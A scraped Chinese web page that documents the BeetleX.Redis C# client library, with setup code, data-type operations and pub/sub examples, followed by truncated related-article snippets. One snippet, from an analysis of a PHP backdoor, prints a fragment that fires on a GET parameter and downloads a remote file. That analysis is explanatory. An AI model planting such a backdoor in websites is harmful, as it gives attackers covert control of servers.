Beetlex之redis驱动

BeetleX.Redis

BeetleX.Redis是基于BeetleX扩展的Redis操作库,全异步操作模式和基于字符缓存策略优化可以提供出色的Redis访问性能;支持SSL,支持读写分离和故障切换;默认多数据格式支持,默认提供json,protobufmessagepack格式。

支持的命令

AUTH BLPOP BRPOP BRPOPLPUSH DECR DECRBY DEL DUMP EXISTS EXPIRE EXPIREAT FLUSHALL GET GETBIT GETRANGE GETSET HDEL HEXISTS HGET HGETALL HINCRBY HINCRBYFLOAT HKEYS HLEN HMGET HMSET HSET HSETNX HSTRLEN HVALS INCR INCRBY INCRBYFLOAT KEYS LINDEX LINSERT LLEN LPOP LPUSH LPUSHX LRANGE LREM LSET LTRIM MGET MOVE MSET MSETNX OBJECT PERSIST PEXPIRE PEXPIREAT PING PSETEX PTTL PUBLISH RANDOMKEY RENAME RENAMENX RPOP RPOPLPUSH RPUSH RPUSHX SELECT SET SETBIT SETEX SETNX SETRANGE STRLEN SUBSCRIBE TOUCH TTL TYPE UNLINK UNSUBSCRIBE WAIT ZADD ZCARD ZCOUNT ZINCRBY ZINTERSTORE ZLEXCOUNT ZRANGE ZRANGEBYLEX ZRANGEBYSCORE ZRANK ZREM ZREMRANGEBYLEX ZREMRANGEBYRANK ZREMRANGEBYSCORE ZREVRANGE ZREVRANGEBYSCORE ZREVRANK ZSCORE ZUNIONSTORE

GitHub

https://github.com/IKende/BeetleX.Redis

Nuget

https://www.nuget.org/packages/BeetleX.Redis/

设置

组件默认提供一个0库的实例,只需要添加相应的Redis服务地址即可

  Redis.Default.DataFormater = new JsonFormater();Redis.Default.Host.AddWriteHost("localhost");//开启SSLRedis.Default.Host.AddWriteHost("localhost",6378,true);//设置密码Redis.Default.Host.AddWriteHost("localhost").Password="123456"

创建一个数据实例

RedisDB DB = new RedisDB(1);
DB.DataFormater = new JsonFormater();
DB.Host.AddWriteHost("localhost");//开启SSL
DB.Host.AddWriteHost("localhost",6378,true);//设置密码
DB.Host.AddWriteHost("localhost").Password="123456"

每个库只创建一个实例即可,相关所有操作都是线程安全。

Json db

RedisDB DB = new RedisDB(0, new JsonFormater());

Protobuf db

RedisDB DB = new RedisDB(0, new ProtobufFormater());

MessagePack db

 RedisDB DB = new RedisDB(0, new MessagePackFormater());

SET/SET操作

await Redis.Get<Employee>("nonexisting");
await Redis.Set("emp3", GetEmployee(3));
await Redis.Get<Employee>("emp3");

MSET/MGET操作

await Redis.Set(("field1", GetEmployee(1)), ("field2", GetEmployee(2)));
await Redis.Get<Employee, Order, Customer>("emp1", "order1", "customer1");

列表

var list = Redis.CreateList<Employee>("employees");
await list.Push(GetEmployee(1));
await list.Insert(true, GetEmployee(2), GetEmployee(3));
await list.Range(0, -1);

有序集合

var sequeue = DB.CreateSequence("seq2");
await sequeue.ZAdd((100, "A1"), (200, "A2"), (300, "A3"), (400, "A4"));
var items = await sequeue.ZRange(0, -1, true);

键值表

var table = Redis.CreateHashTable("myhash");
await table.MSet(("field1", GetEmployee(1)), ("field2", GetEmployee(2)));
await table.Get<Employee, Employee>("field1", "field2");
await table.Del("emp2");
await table.Keys();

订阅操作

var subscribe = Redis.Subscribe();
subscribe.Register<Employee>("employees");
subscribe.Receive = (o, e) =>
{Console.WriteLine($"{e.Type} {e.Channel} {e.Data}");
};
subscribe.Listen();

发布

await Redis.Publish("employees", GetEmployee(1));

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/312247.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

php 后门代码_分析一段PHP的后门代码,很恶心

[PHP] 纯文本查看 复制代码if($_GET[ac]"ok"){ echo OK;function downFile($url,$path){$arrparse_url($url);$fileNamebasename($arr[path]);$filefile_get_contents($url);}downFile("这里是网络下载地址&#xff0c;防止小人&#xff0c;直接删除这里的连接&…

C++set和multiset区别

区别&#xff1a; 代码如下&#xff1a; #include <iostream> using namespace std; #include <set>//set容器 和multiset容器的区别 void test01() {set<int >s;pair<set<int >::iterator, bool> ret s.insert(10);if (ret.second) {cout &…

.NET CORE(C#) WPF简单菜单MVVM绑定

阅读导航 本文背景 代码实现 本文参考 源码 1. 本文背景 WPF中垂直导航菜单大家应该都常用&#xff0c;本文介绍使用MVVM的方式怎么绑定菜单&#xff0c;真的很简单。 2. 代码实现 使用 .Net Core 3.1 创建名为 “MenuMVVM” 的WPF模板项目&#xff0c;添加两个Nuget库&…

安装安全狗后php5.5无法访问,安装安全狗模块(WPCPlugin.dll和ntdll.dll)引起的网站程序池停止的问题...

服务器windows server2008r2&#xff0c;环境IIS7.5PHP5.3&#xff0c;自从安装网站安全狗以后偶尔会发生某个网站的程序池异常停止&#xff0c;刚开始也没在意&#xff0c;后来越发频繁&#xff0c;只好细心的去寻找问题。在系统日志里发现了一些信息&#xff0c;首先有警告&a…

C++pair对组的创建

pair对组创建 功能描述&#xff1a; 成对出现的数据&#xff0c;利用对组可以返回两个数据 两种创建方式&#xff1a; 代码如下&#xff1a; #include <iostream> using namespace std; #include <cstring>void test01() {//第一种方式pair<string, int>…

避免在 ASP.NET Core 3.0 中为启动类注入服务

本篇是如何升级到ASP.NET Core 3.0系列文章的第二篇。 Part 1 - 将.NET Standard 2.0 类库转换为.NET Core 3.0 类库 Part 2 - IHostingEnvironment VS IHostEnvironent - .NET Core 3.0 中的废弃类型 Part 3 - 避免在 ASP.NET Core 3.0 中为启动类注入服务&#xff08;本篇&…

php7 ast,PHP7新特性之抽象语法树(AST)带来的变化详解

本文分析了PHP7新特性之抽象语法树(AST)带来的变化。分享给大家供大家参考&#xff0c;具体如下&#xff1a;这里大部分内容参照 AST 的 RFC 文档而成&#xff1a;https://wiki.php.net/rfc/abstractsyntaxtree&#xff0c;为了易于理解从源文档中节选部分进行介绍。本文并不会…

C++set容器-内置类型指定排序

set容器排序 利用访函数&#xff0c;可以改变排序规则 一、set存放内置数据类型 代码如下&#xff1a; #include <iostream> using namespace std; #include <set>class Mycompare {public:bool operator()(int v1, int v2) {return v1 > v2;} };//set容器排序…

workman php 安装,workerman安装及遇到的问题解决

下面由workerman入门教程栏目给大家介绍workerman安装及遇到的问题解决方法&#xff0c;希望对需要的朋友有所帮助&#xff01;1、workerman安装workerman是php的一个socket框架&#xff0c;简化了socket编程&#xff0c;已经为很多企业所用&#xff0c;今天在centos的ngixphp下…

.NET CORE(C#) WPF亚克力窗体

微信公众号&#xff1a;Dotnet9&#xff0c;网站&#xff1a;Dotnet9&#xff0c;问题或建议&#xff1a;请网站留言&#xff0c; 如果对您有所帮助&#xff1a;欢迎赞赏。.NET CORE(C#) WPF亚克力窗体阅读导航本文背景代码实现本文参考源码1. 本文背景本文介绍使用FluentWPF控…

C++map容器-构造和赋值

map基本概念 map构造和赋值 功能描述&#xff1a; 对map容器进行构造和赋值操作 函数原型&#xff1a; 代码如下&#xff1a; #include <iostream> using namespace std; //map容器 构造和赋值 #include <map>void printMap(map<int, int> &m) {fo…

ABP框架v2.0 和 ABP商业版

ABP框架2.0版已经在本周公布.这篇文章解释了为什么我们发布了一个抢先主版本,和2.0版本中的变化.除了v2.0版本,我们很高兴地宣布ABP商业版,这是建立在开源ABP框架的之上的一套专业的模块,工具,主题和服务.ABP框架V2.0为什么2.0,而不是1.2&#xff1f;本来在V1.1.2发布后计划发布…

java的hr样式,spring+spring mvc+mybatis开发java医院HR人事管理系统(加强版本+ shiro)...

项目描述java web医院HR后台管理系统(增加shiro)运行环境jdk7tomcat7mysqlMyEclipsemaven项目技术(必填)springspring mvcmybatisbootstrapjqueryjspshiro#权限相关的表在tab.sql中**项目说明**- 想学习spring mvc 在《最代码》中找到了一个&#xff0c;程序比较简单&#xff0…

C++map容器-大小和互换

map大小和互换 功能描述&#xff1a; 统计map容器大小以及交换map容器 函数原型&#xff1a; 代码如下&#xff1a; #include <iostream> using namespace std; #include <map>//map容器 大小和交换 void test01() {map<int, int>m;m.insert(pair<in…

分享一些提高逻辑能力的心得

大家好&#xff0c;我是Z哥。最近有个很明显的感受。就是随着年龄的增长&#xff0c;我越来越发现曾经一些我认为理所应当的事情&#xff0c;在现在看来是如此的傻&#xff0c;如此的没有逻辑。有一句话是这么说的。花半秒钟就看透事物本质的人&#xff0c;和花一辈子都看不清事…

laradock双版本php,自己撸一个 LaraDock(使用 Docker LNMP 部署 PHP 开发环境)

项目简介Docker LNMP 是基于 docker-compose 开发的运行在 Docker 上的 LNMP 开发环境&#xff0c;包含 PHP、MySQL、Redis 等镜像并支持多版本切换&#xff0c;满足您的学习、开发和测试需求。包含镜像Docker LNMP 包含以下镜像&#xff0c;每种镜像支持多个版本&#xff1a;n…

.net core 实现基于 JSON 的多语言

.net core 实现基于 JSON 的实现多语言Intro上次我们提到了&#xff0c;微软默认提供基于资源文件的多语言本地化&#xff0c;个人感觉使用起来不是太方便&#xff0c;没有 json 看起来直观&#xff0c;于是动手造了一个轮子&#xff0c; dotnet core 基于 json 的本地化组件Ge…

php 配置远程调试,PHP Linux 环境下搭建 XDEBUG并配置远程调试

在网站 https://xdebug.org/download.php 找到对应PHP版本的XDEBUG下载&#xff0c;下载时选择source版本image获取下载地址## 下载打包的源码wget https://xdebug.org/files/xdebug-2.5.5.tgz解包tar zxvf xdebug-2.5.5.tgz进入解包后的源码目录cd xdebug-2.5.5执行 phpize 生…

CAP原理

定义在一个分布式系统&#xff08;指系统中的节点互相连接并共享数据&#xff09;中&#xff0c;当涉及读写操作时&#xff0c;只能保证一致性 (Consistency)、可用性 (Availability)、分区容错性 (Partition Tolerance)三者中的两个&#xff0c;另外一个必须被牺牲。一致性&am…

大学生开题报告php,php毕业设计开题报告

php毕业设计开题报告该频道涵盖有关于开题报告和毕业设计的论文范例,免费教你怎么写php毕业设计论文提供相关参考资料。一、研究背景1 基于英语新课程标准的要求。《英语课程标准》指出&#xff1a;必须正视学生外语学习基础和发展要求的差异&#xff0c;遵循外语学习的客观规律…